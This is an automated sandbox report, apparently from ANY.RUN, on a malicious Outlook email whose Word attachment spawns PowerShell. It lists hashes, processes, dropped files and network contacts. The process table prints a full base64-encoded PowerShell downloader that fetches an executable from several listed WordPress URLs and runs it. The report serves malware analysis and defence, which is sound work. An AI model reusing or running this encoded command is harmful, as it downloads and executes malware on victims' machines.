File name: | Administrator Notification_ Redirecting email with malware.msg |
Full analysis: | https://app.any.run/tasks/fab0d902-c617-4d6e-b071-2a9f36577370 |
Verdict: | Malicious activity |
Analysis date: | October 14, 2019, 12:50:51 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/vnd.ms-outlook |
File info: | CDFV2 Microsoft Outlook Message |
MD5: | E3A5B63FB5D62D18C56C173F1C013F96 |
SHA1: | 87BA96055738847507EE6C35256B9B95DD01F55F |
SHA256: | B6C77659022D9615CDC7855853DBF0012E85AE7633F06FB67C2A3B304490087C |
SSDEEP: | 6144:t3s12Efemp2pXYB3vvlgl6/UONslZ2DWYsp:Qfemp2uBm6D3sp |
.msg | | | Outlook Message (41.3) |
---|---|---|
.oft | | | Outlook Form Template (24.1) |
.doc | | | Microsoft Word document (18.6) |
.doc | | | Microsoft Word document (old ver.) (11) |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1556 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\Administrator Notification_ Redirecting email with malware.msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
1016 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\GK6V7G4L\FILE_10089817427_Oct2019.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2692 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
4024 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJAB4ADAAMgAwAGIAeAA4ADgANgA3ADcAPQAnAGIAMAAwADAAYwAwADAANAA2ADgAMAA3ACcAOwAkAGIAMwA0AGMAMgBjADkAMgAwADUAeAB4AHgAIAA9ACAAJwA2ADAANAAnADsAJABiADIANAA3ADgAMAAwAGMAMAA2ADAAPQAnAGMAMAA2ADgANQBiADAAMAA3AHgAMAAxAGIAJwA7ACQAeAA5ADAAMAAzADQANwA3ADAAYgAwADEANAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgAzADQAYwAyAGMAOQAyADAANQB4AHgAeAArACcALgBlAHgAZQAnADsAJAB4ADMAMQA2ADgANAAzADEAMQB4AHgAMAA9ACcAYwA1ADIAYgBiADkAOQBjADEAYgA2ADUAMgAnADsAJABiADYAeAAwADIAYwA2ADQAMgAwADYAOAA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMAbABpAEUAbgBUADsAJAB4ADAAeAA3ADQANwA1ADAANwA1ADAAeAA9ACcAaAB0AHQAcAA6AC8ALwBxAHUAaQB6AC4AdABhAGsAaQBuAGcAZgBpAHYAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwBoAHoAawBmAHIALQB4AG8AOABhAHYAeQBlADcAcgAtADMAMwAvACoAaAB0AHQAcAA6AC8ALwAxADkAMgB5AHUAYQBuAG0AYQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AaQB4AGMAbwAxAGUAdgB2AC0AcgB1AHoALQA5ADcAOAA2ADcANAAvACoAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AbABhAHYAaQBhAGoAZQByAGkAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwB1AHUAaQAtAGMAOAA3ADAANQA3AC0ANwAzADAALwAqAGgAdAB0AHAAOgAvAC8AawBlAGMALQB3AGwAaQBuAGcAaQAuAGIAbABpAHQAYQByAGsAYQBiAC4AZwBvAC4AaQBkAC8AYwBnAGkALQBiAGkAbgAvAEIAbABpAGMAWQBwAFIAbQAvACoAaAB0AHQAcAA6AC8ALwBoAHMAbQAuAG8AcgBnAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMAAzAHoAbwAtAHMAeQA0AHgAegB4ADkAbABlAHYALQA5ADMANgA1ADkANwA4ADIAMgAvACcALgAiAHMAUABgAGwAaQBUACIAKAAnACoAJwApADsAJABiADMANwBjADQAeAA3ADMAMwBiADMAPQAnAHgANwA1ADMANQAxADcANwA3AGMAMAB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABiADUAMABjADQAYwA3ADIAMAAwADAAIABpAG4AIAAkAHgAMAB4ADcANAA3ADUAMAA3ADUAMAB4ACkAewB0AHIAeQB7ACQAYgA2AHgAMAAyAGMANgA0ADIAMAA2ADgANAAuACIAZABgAG8AVwBgAE4AbABvAGEAYABkAGYASQBMAGUAIgAoACQAYgA1ADAAYwA0AGMANwAyADAAMAAwACwAIAAkAHgAOQAwADAAMwA0ADcANwAwAGIAMAAxADQAKQA7ACQAeABiAHgAYwBjADcAeAA4ADkANAA4ADAAOQA9ACcAYwB4ADkAMwBiADAAOAA3AGMAeABiACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAeAA5ADAAMAAzADQANwA3ADAAYgAwADEANAApAC4AIgBMAGAAZQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADcAOQAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABhAGAAUgB0ACIAKAAkAHgAOQAwADAAMwA0ADcANwAwAGIAMAAxADQAKQA7ACQAeAA3AGMANwBiADUAMQAzADAAMQAwADcAOAA9ACcAYwA1ADYAMgA1ADgAYgAyADgAOQBiACcAOwBiAHIAZQBhAGsAOwAkAGMAYwB4ADQANAA4ADYAMAA2ADQANwAwAD0AJwB4ADUANgA2ADEAMAA2ADYANgA3ADAAYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB4ADUAMAB4AHgAOQA2ADkAMQA0ADEAPQAnAHgAYwBiADAANAA3AGIAMAAwAGMAMQAwACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVRA92B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF4631756EBDC0C0ED.TMP | — | |
MD5:— | SHA256:— | |||
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\GK6V7G4L\FILE_10089817427_Oct2019 (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
1016 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRDF1F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1016 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_3AF2F147-7823-4641-BFBE-E1A7773FF900.0\1D115EDE.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:187DE6E7BCDC6FCE41A80B3A2AF533CF | SHA256:766515909E5FF1551F7445B7361DB32AA09025B2612A6DA6E1F739952534F349 | |||
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\outlook logging\firstrun.log | text | |
MD5:7D81A83E6B26351C3A785856F3FE2D2B | SHA256:9463DFB30376F79EA69BADBF2EE14C87CDDD2364D81975BF260186E77221471B | |||
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\GK6V7G4L\FILE_10089817427_Oct2019 (2).doc | document | |
MD5:7CAD27BB570B3746BB1C7564218477C6 | SHA256:1B09E9028EF793B5C9F89642EAE4368FF80B491E85FBE5573AE9E6E04DE46468 | |||
1556 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Outlook\mapisvc.inf | text | |
MD5:48DD6CAE43CE26B992C35799FCD76898 | SHA256:7BFE1F3691E2B4FB4D61FBF5E9F7782FBE49DA1342DBD32201C2CC8E540DBD1A | |||
2692 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_3AF2F147-7823-4641-BFBE-E1A7773FF900.0\msoEE33.tmp | compressed | |
MD5:74256902F59B2D00F82176084B596C7F | SHA256:9031D29855DE4E2C37FD8D6B6718E6AD12C1F33A5D807E03550E89C58A012A93 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4024 | powershell.exe | GET | — | 111.230.111.152:80 | http://192yuanma.com/wp-admin/ixco1evv-ruz-978674/ | CN | — | — | suspicious |
4024 | powershell.exe | GET | 200 | 104.31.74.32:80 | http://quiz.takingfive.com/wp-admin/ohzkfr-xo8avye7r-33/ | US | html | 3.99 Kb | shared |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 111.230.111.152:80 | 192yuanma.com | Shenzhen Tencent Computer Systems Company Limited | CN | suspicious |
1556 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
4024 | powershell.exe | 104.31.74.32:80 | quiz.takingfive.com | Cloudflare Inc | US | shared |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
quiz.takingfive.com |
| unknown |
192yuanma.com |
| suspicious |